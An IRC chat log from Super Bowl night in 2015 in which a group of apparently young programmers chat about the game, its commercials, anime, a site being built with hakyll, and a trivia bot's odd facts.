[2015-02-01T19:27:09-0500] <zrl> We still want to be helpful
[2015-02-01T19:27:16-0500] <zrl> Sorry, just been super MIA recently
[2015-02-01T19:27:21-0500] <zrl> Focusing on fundraising
[2015-02-01T19:27:41-0500] <+hardmath123> Cool.
[2015-02-01T19:31:53-0500] <alokpathy> hardmath123: Still no travel reimbursement?
[2015-02-01T19:33:47-0500] <+hardmath123> alokpathy: if you can get me connected with awesome sponsors, then I think it might be possible.
[2015-02-01T19:37:05-0500] <alokpathy> Hmm
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[2015-02-01T19:46:32-0500] Set by hardmath123 on January 19, 2015 at 11:13:03 PM EST
[2015-02-01T18:44:14-0500] <+JacobEdelman> !join
[2015-02-01T18:44:14-0500] <&Pidgey> You've already joined this game!
[2015-02-01T18:44:20-0500] <alokpathy> awe: Lewd PMs from awebot
[2015-02-01T18:45:43-0500] <ubuntor> no such feature :P
[2015-02-01T18:45:55-0500] <Tamini_> lol
[2015-02-01T18:45:55-0500] <Tamini_> ive never gotten one :(
[2015-02-01T18:46:03-0500] <jwoglom> i got one a couple hours ago
[2015-02-01T18:46:32-0500] <jwoglom> i think it's slowly achieving sentience
[2015-02-01T18:46:41-0500] <jwoglom> and i'm not sure whether to be amazed or scared
[2015-02-01T18:47:09-0500] <ubuntor> at least it's mostly benign
[2015-02-01T18:47:09-0500] <Tamini_> it is!
[2015-02-01T18:47:13-0500] <Tamini_> it used to only pm
[2015-02-01T18:47:16-0500] <Tamini_> jacob and alok
[2015-02-01T18:47:20-0500] <Tamini_> it's expanding its horizons
[2015-02-01T18:47:26-0500] <jwoglom> yup
[2015-02-01T18:47:31-0500] <+JacobEdelman> its because alok and I are by far the hottest
[2015-02-01T18:47:33-0500] <jwoglom> makes you wonder what it'll do next
[2015-02-01T18:47:38-0500] <+JacobEdelman> with jwoglom in second
[2015-02-01T18:47:49-0500] <+JacobEdelman> thats why we get the pms first
[2015-02-01T18:47:52-0500] <jwoglom> hey, someone thinks i'm attractive! :P
[2015-02-01T18:48:17-0500] <+JacobEdelman> awe: why doesn't awebot customize it's lewd messages
[2015-02-01T18:48:24-0500] <alokpathy> JacobEdelman: How many have you had?
[2015-02-01T18:48:29-0500] <+JacobEdelman> only one
[2015-02-01T18:48:30-0500] <+JacobEdelman> why?
[2015-02-01T18:50:21-0500] <alokpathy> I've had, like, 4 LOL
[2015-02-01T18:50:33-0500] <alokpathy> Ah, 3.
[2015-02-01T18:50:40-0500] <jwoglom> well then, i guess we know who awebot fancies the most
[2015-02-01T18:50:48-0500] <alokpathy> awebot: ;)
[2015-02-01T18:51:59-0500] <Tamini_> obv
[2015-02-01T18:52:00-0500] <Tamini_> apothy is hotter than you
[2015-02-01T18:54:40-0500] <+JacobEdelman> awww... well, awebot loved me first
[2015-02-01T19:02:38-0500] <Tamini_> he obv
[2015-02-01T19:02:41-0500] <Tamini_> found someone better
[2015-02-01T19:03:05-0500] <alokpathy> <3
[2015-02-01T19:03:06-0500] <jwoglom> poor JacobEdelman 
[2015-02-01T19:04:13-0500] <@awe> Okay, I now have hakyll set up.
[2015-02-01T19:05:16-0500] <ubuntor> yay
[2015-02-01T19:07:22-0500] <@awe> I don't know what I want this site to look like though.
[2015-02-01T19:11:48-0500] <jwoglom> touchdown!
[2015-02-01T19:11:52-0500] <alokpathy> woo pats touchdown!
[2015-02-01T19:25:15-0500] <assface> ?
[2015-02-01T19:26:18-0500] <+hardmath123> zrl: you're coming to GunnHacks? sweet.
[2015-02-01T19:27:03-0500] <zrl> Hopefully
[2015-02-01T19:27:08-0500] <zrl> We still want to be helpful
[2015-02-01T19:27:16-0500] <zrl> Sorry, just been super MIA recently
[2015-02-01T19:27:21-0500] <zrl> Focusing on fundraising
[2015-02-01T19:27:40-0500] <+hardmath123> Cool.
[2015-02-01T19:31:53-0500] <alokpathy> hardmath123: Still no travel reimbursement?
[2015-02-01T19:33:47-0500] <+hardmath123> alokpathy: if you can get me connected with awesome sponsors, then I think it might be possible.
[2015-02-01T19:37:05-0500] <alokpathy> Hmm
[2015-02-01T19:46:34-0500] Mode is +nst
[2015-02-01T19:49:13-0500] <+JacobEdelman> I won the betting for first quarter in my family
[2015-02-01T19:49:25-0500] <+JacobEdelman> 0 0 was closer than any other guesses
[2015-02-01T19:49:26-0500] <jwoglom> heh i did too
[2015-02-01T19:49:46-0500] <jwoglom> we made a 10x10 grid
[2015-02-01T19:49:47-0500] <+JacobEdelman> .... I put in 0 0 for every other quarter, so we will see how I do
[2015-02-01T19:49:54-0500] <jwoglom> randomly assigned areas in the grid
[2015-02-01T19:50:04-0500] <jwoglom> and whoever has the coordinate for the ones digit wins
[2015-02-01T19:50:18-0500] <+JacobEdelman> .... cool!
[2015-02-01T19:50:32-0500] <jwoglom> and i had (0,0) :P
[2015-02-01T19:50:34-0500] <alokpathy> JacobEdelman: Well you lost the second one :P
[2015-02-01T19:51:01-0500] <jwoglom> oh hey, i have (4,7) too!
[2015-02-01T19:51:25-0500] <+JacobEdelman> alokpathy: I may have, maybe I'm closer than anybody else
[2015-02-01T19:51:48-0500] <alokpathy> These guys look pretty strong.
[2015-02-01T19:53:54-0500] <+JacobEdelman> thats just feathers
[2015-02-01T19:54:00-0500] <+JacobEdelman> really they are all weak and scrawny
[2015-02-01T19:54:09-0500] <@awe> My school is currently in police state mode.
[2015-02-01T19:54:23-0500] <jwoglom> what happened?
[2015-02-01T19:54:25-0500] <@awe> Major New England sports things tend to lead to rioting. So, we're not allowed to have guests over.
[2015-02-01T19:54:32-0500] <jwoglom> oh. lol
[2015-02-01T19:54:33-0500] <@awe> They're patrolling halls making sure there's no guests.
[2015-02-01T19:54:34-0500] <alokpathy> Ah, yeah, i saw.
[2015-02-01T19:54:46-0500] <@awe> They've closed down every building in the densest part of campus.
[2015-02-01T19:54:47-0500] <@awe> Etc.
[2015-02-01T19:56:09-0500] <+JacobEdelman> wow
[2015-02-01T19:56:21-0500] <+JacobEdelman> I repeat, WOW
[2015-02-01T19:56:25-0500] <+JacobEdelman> I mean, really, rioting?
[2015-02-01T19:56:40-0500] <alokpathy> It's somewhat typical with big sports.
[2015-02-01T19:56:55-0500] <alokpathy> I think Argentina went crazy after the World Cup final.
[2015-02-01T19:59:05-0500] <+JacobEdelman> yeah, but thats argentina
[2015-02-01T19:59:11-0500] <jwoglom> lol i have (4,4) too
[2015-02-01T19:59:14-0500] <+JacobEdelman> not, like, a nearby university
[2015-02-01T19:59:15-0500] <jwoglom> i'm good at this
[2015-02-01T19:59:17-0500] <LittleBobbyTables> The oldest condoms ever found date back to the 1640s (they were found in a cesspit at Dudley Castle), and were made from animal and fish intestines
[2015-02-01T19:59:39-0500] <alokpathy> Um
[2015-02-01T19:59:45-0500] <alokpathy> well then
[2015-02-01T19:59:47-0500] <+JacobEdelman> LittleBobbyTables: ....... you are a distubring person, you know that, right?
[2015-02-01T19:59:56-0500] <+JacobEdelman> LittleBobbyTables: (in a good way)
[2015-02-01T20:00:15-0500] <+JacobEdelman> *disturbing, I don't want to know what distubring is
[2015-02-01T20:00:36-0500] <jwoglom> LittleBobbyTables: thanks for that interesting tidbit!
[2015-02-01T20:02:30-0500] <alokpathy> JacobEdelman: But it's also the Super Bowl.
[2015-02-01T20:04:26-0500] <@awe> Did you guys seriously not know the history of condoms?
[2015-02-01T20:06:50-0500] <+JacobEdelman> awe: yes, I seriously did not know that
[2015-02-01T20:07:01-0500] <@awe> Wow.
[2015-02-01T20:07:05-0500] <@awe> Ok.
[2015-02-01T20:07:18-0500] <+JacobEdelman> awe: we clearly have different standards
[2015-02-01T20:07:21-0500] <ubuntor> lol
[2015-02-01T20:07:29-0500] <+JacobEdelman> awe: I'm horrified when alok admits he never say star wars
[2015-02-01T20:07:35-0500] <alokpathy> That doesn't seem like something I would learn anytime unless I googled it out of curiosity :P
[2015-02-01T20:07:51-0500] <+JacobEdelman> awe: you're horrified when I admit I've never read up on the history condoms
[2015-02-01T20:07:53-0500] • awe: shrugs.
[2015-02-01T20:08:02-0500] <@awe> Okay, so, I actually need to work on my site now.
[2015-02-01T20:08:06-0500] • JacobEdelman: rears his head and neighs
[2015-02-01T20:08:09-0500] • JacobEdelman: is confused
[2015-02-01T20:08:25-0500] • JacobEdelman: has an identity crisis
[2015-02-01T20:08:35-0500] <+JacobEdelman> am i horse?
[2015-02-01T20:08:43-0500] <+JacobEdelman> oh, right, I'm not
[2015-02-01T20:08:49-0500] • JacobEdelman: has solved his identity crisis
[2015-02-01T20:08:54-0500] <+JacobEdelman> back to bussiness as usual
[2015-02-01T20:09:28-0500] <assface> good for you
[2015-02-01T20:09:32-0500] <alokpathy> Um
[2015-02-01T20:10:50-0500] <assface> um
[2015-02-01T20:11:58-0500] <@awe> I don't know what to do with my site guys.
[2015-02-01T20:22:26-0500] <alokpathy> How is Katy Perry changing her dress so fast?
[2015-02-01T20:23:15-0500] <jwoglom> lol this halftime show
[2015-02-01T20:23:29-0500] <jwoglom> "Qualifications: performed at super bowl 49" "Oh cool, what did you do?" "I was a tree."
[2015-02-01T20:24:13-0500] <alokpathy> Psh, only a tree?
[2015-02-01T20:24:15-0500] <alokpathy> I was a beach ball.
[2015-02-01T20:24:29-0500] <@awe> Same.
[2015-02-01T20:24:30-0500] <@awe> I too am a tree.
[2015-02-01T20:24:41-0500] <@awe> Why are you people watching sportsball right now?
[2015-02-01T20:25:29-0500] <alokpathy> Because it's sportsball sunday.
[2015-02-01T20:25:50-0500] <alokpathy> LOL that Pete Rose commercial
[2015-02-01T20:27:51-0500] <+JacobEdelman> the half time show was cool
[2015-02-01T20:27:58-0500] <+JacobEdelman> alokpathy: she has more dresses underneath
[2015-02-01T20:28:11-0500] <alokpathy> It didn't look like it.
[2015-02-01T20:28:16-0500] <alokpathy> That was my initial hypothesis.
[2015-02-01T20:28:28-0500] <+JacobEdelman> after the beach bit
[2015-02-01T20:28:31-0500] <+JacobEdelman> she got new clothes
[2015-02-01T20:28:39-0500] <+JacobEdelman> but thats all
[2015-02-01T20:28:41-0500] <alokpathy> Well the huge hoodie is kinda clear
[2015-02-01T20:28:46-0500] <+JacobEdelman> yeah
[2015-02-01T20:28:55-0500] <+JacobEdelman> and till the beach bit it works
[2015-02-01T20:29:00-0500] <+JacobEdelman> whats really impressive
[2015-02-01T20:29:05-0500] <+JacobEdelman> is her changing makeup
[2015-02-01T20:29:22-0500] <+JacobEdelman> which my family noticed while watching it
[2015-02-01T20:29:39-0500] <+JacobEdelman> awe: we are watching cause its on in my house and the half time show was fun
[2015-02-01T20:30:00-0500] <+JacobEdelman> (my family is watching online so no commercials)
[2015-02-01T20:31:13-0500] <+hardmath123> we're literally watching it because the commercials are supposed to be awesome
[2015-02-01T20:31:15-0500] <+hardmath123> except
[2015-02-01T20:31:18-0500] <+hardmath123> they sorta aren't
[2015-02-01T20:32:02-0500] <@awe> They never are.
[2015-02-01T20:32:07-0500] <@awe> Commercials are commercials, ffs.
[2015-02-01T20:32:09-0500] <@awe> They're trying to sell you shit.
[2015-02-01T20:33:28-0500] <+hardmath123> i often can't figure out what i'm being sold
[2015-02-01T20:33:36-0500] <@awe> Which means they're bad advertisements.
[2015-02-01T20:35:09-0500] <alokpathy> They're bad as advertisements
[2015-02-01T20:35:11-0500] <alokpathy> but they're funny.
[2015-02-01T20:35:17-0500] <jwoglom> that's kind of the point, lol
[2015-02-01T20:35:21-0500] <alokpathy> Well, this year more of them are depressing.
[2015-02-01T20:35:28-0500] <jwoglom> it's become more of a contest of "who can make the weirdest/most interesting commercial"
[2015-02-01T20:35:35-0500] <alokpathy> That Nationwide one :(
[2015-02-01T20:35:46-0500] <jwoglom> amazingly godaddy didn't do their typical ad this year
[2015-02-01T20:35:51-0500] <alokpathy> Yeah I was surprised.
[2015-02-01T20:36:58-0500] <+JacobEdelman> awe: anychance you have a copy of this game: https://www.youtube.com/watch?v=gI8LeybW_E8
[2015-02-01T20:37:39-0500] <+JacobEdelman> just look at that video
[2015-02-01T20:37:42-0500] <+JacobEdelman> its soo cool
[2015-02-01T20:37:49-0500] <+JacobEdelman> (the game is universe simulator 2)
[2015-02-01T20:38:12-0500] <+JacobEdelman> *universe sandbox 2
[2015-02-01T20:48:32-0500] <alokpathy> Noo an interception :(
[2015-02-01T20:52:13-0500] <assface> who won?
[2015-02-01T20:52:34-0500] <jwoglom> it's not over yet
[2015-02-01T20:53:26-0500] <alokpathy> Noo :(
[2015-02-01T20:53:42-0500] <assface> i heard a touchdown
[2015-02-01T20:53:42-0500] <jwoglom> dammit seahawks
[2015-02-01T20:53:48-0500] <assface> whos playing?
[2015-02-01T20:53:59-0500] <jwoglom> patriots and seahawks
[2015-02-01T20:54:11-0500] <alokpathy> New England and Seattle, respectively.
[2015-02-01T20:54:32-0500] <assface> I dont understand
[2015-02-01T20:54:40-0500] <assface> how can New England have a sports team?
[2015-02-01T20:54:48-0500] <assface> it's a region, not a state
[2015-02-01T20:54:49-0500] <alokpathy> It's basically from Boston.
[2015-02-01T20:54:53-0500] <assface> oh
[2015-02-01T20:58:40-0500] <+hardmath123> I think I might enjoy a show that's just 30 minutes of awesome sci-fi fight scenes set to AC/DC.
[2015-02-01T20:58:54-0500] <+hardmath123> Like, no plot/love story/sudden twists.
[2015-02-01T20:59:22-0500] <LittleBobbyTables> Female kangaroos have three vaginas
[2015-02-01T21:02:25-0500] <alokpathy> Interesting.
[2015-02-01T21:03:00-0500] <jwoglom> fascinating indeed
[2015-02-01T21:03:03-0500] <@awe> It's not "basically" from Boston.
[2015-02-01T21:03:06-0500] <@awe> It is a Boston team.
[2015-02-01T21:04:01-0500] <alokpathy> "Greater Boston Area"
[2015-02-01T21:04:25-0500] <alokpathy> I guess you could consider that as a Boston team.
[2015-02-01T21:04:27-0500] <@awe> All the MA teams are called "New England" teams because the other states don't have sports teams.
[2015-02-01T21:04:36-0500] <alokpathy> "Boston Red Sox"
[2015-02-01T21:04:38-0500] <alokpathy> "Boston Bruins"
[2015-02-01T21:04:46-0500] <alokpathy> "Boston Celtics"
[2015-02-01T21:04:48-0500] <@awe> Well, I didn't mean in their team name specifically.
[2015-02-01T21:04:56-0500] <@awe> All of those are generally considered "New England sports"
[2015-02-01T21:05:05-0500] <alokpathy> I guess, yeah.
[2015-02-01T21:05:12-0500] <jwoglom> "When the NFL and AFL merged in 1970, the Patriots were placed in the AFC East division, where they still play today.[1] The following year, the Patriots moved to a new stadium in Foxborough, Massachusetts, which would serve as their home for 30 years. As a result of the move, they announced they would change their name from the Boston Patriots to the Bay State Patriots. The name was rejected by
[2015-02-01T21:05:14-0500] <jwoglom> the NFL and on March 23, 1971, the team officially announced they would become the New England Patriots."
[2015-02-01T21:05:30-0500] <jwoglom> guess that's why
[2015-02-01T21:05:30-0500] <alokpathy> Ah
[2015-02-01T21:05:31-0500] <@awe> Boston Patriots and Bay State Patriots both sound like shit.
[2015-02-01T21:05:36-0500] <jwoglom> yeah
[2015-02-01T21:07:02-0500] <alokpathy> Yeah xD
[2015-02-01T21:13:29-0500] <+JacobEdelman> female red kangroos are almost permantely pregnant
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[2015-02-01T21:16:41-0500] <ubuntor> tracker music is fantastic
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[2015-02-01T21:25:42-0500] <Tamini_> whoa, movie was good <3
[2015-02-01T21:25:55-0500] <jwoglom> Tamini_: what movie?
[2015-02-01T21:26:09-0500] <Tamini_> american sniper
[2015-02-01T21:26:32-0500] <jwoglom> interesting
[2015-02-01T21:27:26-0500] <jwoglom> yessss, finally
[2015-02-01T21:31:09-0500] <alokpathy> <3
[2015-02-01T21:31:13-0500] <alokpathy> A field goal away from tying.
[2015-02-01T21:32:03-0500] <Tamini_> score rn?
[2015-02-01T21:32:20-0500] <jwoglom> 24-21 seahawks
[2015-02-01T21:34:57-0500] <alokpathy> Lol my friend bet with her teacher on a 28-24 pats win
[2015-02-01T21:35:07-0500] <alokpathy> It's actually possible LOL
[2015-02-01T21:35:10-0500] <jwoglom> alokpathy: lol nice
[2015-02-01T21:35:21-0500] <jwoglom> 7 minutes to get one touchdown!
[2015-02-01T21:35:37-0500] <alokpathy> :D
[2015-02-01T21:35:50-0500] <alokpathy> This Super Bowl is so much better than last year's.
[2015-02-01T21:36:49-0500] <alokpathy> Doritos commercial :o
[2015-02-01T21:36:53-0500] <alokpathy> These are always good.
[2015-02-01T21:37:01-0500] <alokpathy> LOL
[2015-02-01T21:39:09-0500] <alokpathy> That was a nice catch.
[2015-02-01T21:42:21-0500] <Tamini_> lol
[2015-02-01T21:42:25-0500] <Tamini_> what was the commercial?
[2015-02-01T21:42:48-0500] <jwoglom> alokpathy: the one that was "if pigs fly"?
[2015-02-01T21:43:10-0500] <alokpathy> jwoglom: Yeah xD
[2015-02-01T21:43:15-0500] <Tamini_> o-o
[2015-02-01T21:43:18-0500] <Tamini_> pls describe
[2015-02-01T21:43:20-0500] <alokpathy> I think that was better than the time machine one.
[2015-02-01T21:43:31-0500] <alokpathy> Kid: "Hey, can I have a chip?"
[2015-02-01T21:43:36-0500] <Tamini_> OH
[2015-02-01T21:43:36-0500] <alokpathy> Adult: "Psh, sure, when pigs fly"
[2015-02-01T21:43:37-0500] <Tamini_> WAIT
[2015-02-01T21:43:39-0500] <Tamini_> you know
[2015-02-01T21:43:44-0500] <jwoglom> * kid makes pig fly
[2015-02-01T21:43:51-0500] <jwoglom> * kid gets doritos
[2015-02-01T21:43:53-0500] <Tamini_> a like
[2015-02-01T21:43:55-0500] <jwoglom> * doritos logo shows
[2015-02-01T21:44:02-0500] <Tamini_> elementary school kid wrote that one
[2015-02-01T21:44:09-0500] <Tamini_> doritos commercial contest
[2015-02-01T21:44:14-0500] <alokpathy> Not surprised xDDDD
[2015-02-01T21:44:18-0500] <jwoglom> lol really? nice
[2015-02-01T21:44:18-0500] <alokpathy> jwoglom: 12 yards away :o
[2015-02-01T21:44:24-0500] <Tamini_> my student's friend :D
[2015-02-01T21:44:26-0500] <jwoglom> alokpathy: :o
[2015-02-01T21:44:34-0500] <jwoglom> Tamini_: you really do know everyone
[2015-02-01T21:47:10-0500] <jwoglom> ughhhh stressful
[2015-02-01T21:47:16-0500] <jwoglom> YESSSS
[2015-02-01T21:47:24-0500] <alokpathy> WOOOOO
[2015-02-01T21:47:30-0500] <jwoglom> i called it!
[2015-02-01T21:47:35-0500] <alokpathy> NICEE
[2015-02-01T21:48:04-0500] <jwoglom> the guys with the ball are doing the things!
[2015-02-01T21:48:40-0500] <assface> no they aint >:(
[2015-02-01T21:51:04-0500] <alokpathy> Uh oih
[2015-02-01T21:51:08-0500] <alokpathy> [intensity grows]
[2015-02-01T21:51:28-0500] <Tamini_> :O
[2015-02-01T21:56:58-0500] <jwoglom> WAIT WHAT
[2015-02-01T21:57:32-0500] <alokpathy> WAAAAAAAAAAAT
[2015-02-01T21:57:43-0500] <Tamini_> :O
[2015-02-01T21:57:47-0500] <Tamini_> what happened
[2015-02-01T21:58:08-0500] <jwoglom> this guy somehow cought a ball
[2015-02-01T21:58:26-0500] <alokpathy> He like
[2015-02-01T21:58:28-0500] <jwoglom> it bounced off his hands
[2015-02-01T21:58:29-0500] <alokpathy> knocked it into the air
[2015-02-01T21:58:32-0500] <alokpathy> and caught it.
[2015-02-01T21:58:34-0500] <jwoglom> and as he was falling down he got it
[2015-02-01T21:58:38-0500] <jwoglom> holy shit
[2015-02-01T21:59:23-0500] <alokpathy> wtf is happening
[2015-02-01T21:59:50-0500] <alokpathy> INTERCEPTION
[2015-02-01T21:59:50-0500] <jwoglom> WAT
[2015-02-01T22:00:01-0500] <@awe> Guess: something just happened that put them in the lead
[2015-02-01T22:00:07-0500] <LittleBobbyTables> The first American film to show a toilet being flushed on screen was Alfred Hitchcock’s Psycho
[2015-02-01T22:00:09-0500] <alokpathy> No lol
[2015-02-01T22:00:11-0500] <jwoglom> alokpathy: nope
[2015-02-01T22:00:13-0500] <jwoglom> *awe
[2015-02-01T22:00:13-0500] <@awe> Oh.
[2015-02-01T22:00:17-0500] <@awe> Everyone was screaming like that happened.
[2015-02-01T22:00:20-0500] <alokpathy> Seattle was like
[2015-02-01T22:00:26-0500] <jwoglom> interception on the 1 yd line, basically
[2015-02-01T22:00:39-0500] <@awe> Seattle got the interception?
[2015-02-01T22:00:41-0500] <@awe> Or was intercepted?
[2015-02-01T22:00:41-0500] <alokpathy> 1/2 a yard from taking the lead with 30 seconds left
[2015-02-01T22:00:50-0500] <alokpathy> NE intercepted.
[2015-02-01T22:01:05-0500] <@awe> Wasn't Seattle like 10 pts up a little while ago?
[2015-02-01T22:01:18-0500] <jwoglom> they were up by some most of the game
[2015-02-01T22:01:24-0500] <jwoglom> but then the patriots scored
[2015-02-01T22:02:46-0500] <alokpathy> Hmm this is pretty tricky apparently
[2015-02-01T22:02:51-0500] <alokpathy> if they move back by accident
[2015-02-01T22:02:53-0500] <alokpathy> Seattle "scores"
[2015-02-01T22:03:16-0500] <LittleBobbyTables> GGWP
[2015-02-01T22:03:19-0500] <LittleBobbyTables> Offsides, kneel, game over.
[2015-02-01T22:03:25-0500] <jwoglom> 5yd penalty
[2015-02-01T22:04:01-0500] <jwoglom> ok wat is happening
[2015-02-01T22:04:01-0500] <LittleBobbyTables> WTF ARE THEY DOING
[2015-02-01T22:04:11-0500] <alokpathy> Uh oh
[2015-02-01T22:04:13-0500] <alokpathy> football fight
[2015-02-01T22:04:33-0500] <LittleBobbyTables> That might have lost them the game
[2015-02-01T22:04:58-0500] <alokpathy> It basically did.
[2015-02-01T22:05:06-0500] <alokpathy> They had a shot, but now they don't.
[2015-02-01T22:05:21-0500] <alokpathy> LOL HE GOT EJECTED
[2015-02-01T22:05:35-0500] <LittleBobbyTables> jk, seattle got the penalty.
[2015-02-01T22:06:53-0500] <jwoglom> PATRIOTSSSSSS
[2015-02-01T22:07:09-0500] <alokpathy> WOO
[2015-02-01T22:07:22-0500] <jwoglom> awe: now don't get in any brawls
[2015-02-01T22:07:24-0500] <LittleBobbyTables> GJ kid who bet on 24-28
[2015-02-01T22:08:03-0500] <Tamini_> yay
[2015-02-01T22:08:27-0500] <Tamini_> whoooo
[2015-02-01T22:08:29-0500] <@awe> Wow, way to fuck it up, Seahawks.
[2015-02-01T22:08:37-0500] <@awe> People are flipping the fuck out.
[2015-02-01T22:08:52-0500] <LittleBobbyTables> Why wouldn't they?
[2015-02-01T22:10:37-0500] <@awe> because sportsball is boring?
[2015-02-01T22:10:51-0500] <jwoglom> this was actually a pretty exciting football game
[2015-02-01T22:12:26-0500] <alokpathy> Yeah, it was.
[2015-02-01T22:13:24-0500] <LittleBobbyTables> EZ RARES EZ LIFE
[2015-02-01T22:20:42-0500] <nezorg> anything anyone wants me to do while I'm in Tokyo?
[2015-02-01T22:20:54-0500] <+Tamini> do you want to 
[2015-02-01T22:20:55-0500] <nezorg> which I will be in a few days
[2015-02-01T22:20:56-0500] <+Tamini> buy me cute things
[2015-02-01T22:21:00-0500] <nezorg> lol
[2015-02-01T22:21:02-0500] <+Tamini> then mail them to me
[2015-02-01T22:21:03-0500] <+Tamini> LOL
[2015-02-01T22:21:06-0500] <+Tamini> im being 100% serious her
[2015-02-01T22:21:07-0500] <+Tamini> e
[2015-02-01T22:21:12-0500] <nezorg> what constitutes cute? :P
[2015-02-01T22:21:16-0500] <alokpathy> nezorg: You're in Tokyo? :o
[2015-02-01T22:21:24-0500] <+Tamini> your face
[2015-02-01T22:21:24-0500] <+Tamini> i mean
[2015-02-01T22:21:25-0500] <+Tamini> um
[2015-02-01T22:21:30-0500] <nezorg> alokpathy: nope, but will be soon
[2015-02-01T22:21:35-0500] <nezorg> Tamini: :|
[2015-02-01T22:21:43-0500] <+Tamini> (also i have 40 emails from github alone what even
[2015-02-01T22:21:54-0500] <+Tamini> http://24.media.tumblr.com/tumblr_ls5x58Akvn1qlhyqfo1_500.jpg
[2015-02-01T22:21:56-0500] <+Tamini> this is cute.
[2015-02-01T22:22:08-0500] <+Tamini> )
[2015-02-01T22:22:11-0500] <+Tamini> close paren
[2015-02-01T22:22:40-0500] <nezorg> that reminds me
[2015-02-01T22:22:43-0500] <nezorg> I should buy a klk something
[2015-02-01T22:22:57-0500] <+Tamini> lol klk
[2015-02-01T22:22:59-0500] <+Tamini> idk man
[2015-02-01T22:23:09-0500] <+Tamini> if you see something
[2015-02-01T22:23:12-0500] <nezorg> that's one of the two animes I've watched
[2015-02-01T22:23:14-0500] <+Tamini> and you think "omg super kawaii"
[2015-02-01T22:23:15-0500] <+Tamini> thats what i want
[2015-02-01T22:23:16-0500] <+Tamini> and lol
[2015-02-01T22:23:19-0500] <+Tamini> what's the other one?
[2015-02-01T22:23:35-0500] <nezorg> pmmm
[2015-02-01T22:23:44-0500] <+Tamini> <3
[2015-02-01T22:23:46-0500] <+Tamini> wait wait
[2015-02-01T22:23:46-0500] <+Tamini> HOLD
[2015-02-01T22:24:01-0500] <nezorg> ...
[2015-02-01T22:24:08-0500] <+Tamini> oshit
[2015-02-01T22:24:12-0500] <+Tamini> lemme find my necklace
[2015-02-01T22:24:18-0500] <nezorg> ... >_>
[2015-02-01T22:24:45-0500] <+Tamini> hmm
[2015-02-01T22:24:45-0500] <nezorg> I should probably see the films at some point
[2015-02-01T22:24:48-0500] <+Tamini> favorite character?
[2015-02-01T22:24:52-0500] <+Tamini> non-homura
[2015-02-01T22:24:53-0500] <+Tamini> i think
[2015-02-01T22:24:57-0500] <+Tamini> because i cant find that one
[2015-02-01T22:25:07-0500] <nezorg> uhhh
[2015-02-01T22:25:44-0500] <nezorg> I guess sayaka
[2015-02-01T22:26:03-0500] <+Tamini> convenient
[2015-02-01T22:26:44-0500] <+Tamini> check your snaps
[2015-02-01T22:28:29-0500] <nezorg> heheheh yeah
[2015-02-01T22:28:29-0500] <nezorg> alainey has various soul gem headphone jack things
[2015-02-01T22:28:29-0500] <nezorg> (...among many other pmmm-related things)
[2015-02-01T22:28:36-0500] <+Tamini> ol
[2015-02-01T22:28:43-0500] <+Tamini> i feel like
[2015-02-01T22:28:46-0500] <+Tamini> ngnl is kinda your style
[2015-02-01T22:31:20-0500] <nezorg> "However, reviewers who have completed the seris generally praised the character dynamics, game strategies, and animation while panning the fan service featuring the underage Shiro."
[2015-02-01T22:31:20-0500] <nezorg> o k
[2015-02-01T22:31:33-0500] <+Tamini> well, yeah
[2015-02-01T22:31:37-0500] <+Tamini> but its pretty great
[2015-02-01T22:31:45-0500] <+Tamini> also i mean
[2015-02-01T22:31:51-0500] <+Tamini> i know you arent opposed to fanservice, cmon
[2015-02-01T22:31:56-0500] <nezorg> ...true.
[2015-02-01T22:32:28-0500] <nezorg> I guess ryuko is technically underage too
[2015-02-01T22:34:29-0500] <Hyper> nezorg: ryuko is def. underaged lol
[2015-02-01T22:34:33-0500] <Hyper> she's like 14
[2015-02-01T22:34:36-0500] <Hyper> wait
[2015-02-01T22:34:37-0500] <Hyper> 17
[2015-02-01T22:34:40-0500] <nezorg> yeah
[2015-02-01T22:34:44-0500] <Hyper> I'm pretty sure it's canon that she's 17
[2015-02-01T22:34:48-0500] <nezorg> correct
[2015-02-01T22:35:26-0500] <Hyper> also nezorg can geek out about klk with me i'm digging it
[2015-02-01T22:35:30-0500] <ubuntor> don't lose your wayyyyyyyyyyy
[2015-02-01T22:35:35-0500] <Hyper> YOUR MIND
[2015-02-01T22:35:44-0500] <Hyper> I have this bookmarked
[2015-02-01T22:35:45-0500] <Hyper> http://www.myinstants.com/instant/dont-lose-your-way-button/
[2015-02-01T22:35:47-0500] <Hyper> we're good
[2015-02-01T22:35:49-0500] <Hyper> I gotcha
[2015-02-01T22:36:04-0500] <ubuntor> lol, that's great
[2015-02-01T22:36:27-0500] <nezorg> Hyper: well that was louder than I expected
[2015-02-01T22:36:30-0500] <Hyper> I also have http://a.pomf.se/sogpeu.mp4
[2015-02-01T22:36:32-0500] <Hyper> :)
[2015-02-01T22:36:37-0500] <Hyper> amongst others
[2015-02-01T22:36:41-0500] <+Tamini> jesus :P
[2015-02-01T22:36:44-0500] <+Tamini> also wait
[2015-02-01T22:36:49-0500] <+Tamini> Hyper, are you the one at UPenn
[2015-02-01T22:36:51-0500] <+Tamini> or am i confused
[2015-02-01T22:36:56-0500] <ubuntor> yes, that scene
[2015-02-01T22:36:59-0500] <Hyper> I go to poly
[2015-02-01T22:37:08-0500] <@awe> You're thinking of Pharyngeal 
[2015-02-01T22:37:10-0500] <Hyper> ubuntor: but with the beautiful sounds of aldnoah on top :)
[2015-02-01T22:37:26-0500] <ubuntor> that's awesome
[2015-02-01T22:38:03-0500] <ubuntor> hm, i should watch more animu
[2015-02-01T22:38:21-0500] <nezorg> I have too little free time as it is
[2015-02-01T22:38:41-0500] <+Tamini> lol
[2015-02-01T22:38:44-0500] <Hyper> :D
[2015-02-01T22:38:47-0500] <+Tamini> you can make free time if you try hard enough! :D
[2015-02-01T22:38:52-0500] <+Tamini> oh oops, i was confused
[2015-02-01T22:39:02-0500] <nezorg> yeah, you can't
[2015-02-01T22:39:03-0500] <nezorg> :P
[2015-02-01T22:39:38-0500] <nezorg> what's the qdb ip/port again?
[2015-02-01T22:40:02-0500] <+Tamini> umm
[2015-02-01T22:40:03-0500] <+Tamini> its on the topic
[2015-02-01T22:40:10-0500] <nezorg> no, not for adding quotes
[2015-02-01T22:40:13-0500] <+Tamini> oh
[2015-02-01T22:40:17-0500] <jwoglom> it's actually not, lol
[2015-02-01T22:40:19-0500] <+Tamini> ummm
[2015-02-01T22:40:19-0500] <+Tamini> wait
[2015-02-01T22:40:21-0500] <jwoglom> probably should be
[2015-02-01T22:40:31-0500] <+Tamini> backtick.town:1337
[2015-02-01T22:40:32-0500] <+Tamini> i wanna say
[2015-02-01T22:40:36-0500] <nezorg> alright
[2015-02-01T22:40:45-0500] <nezorg> yup
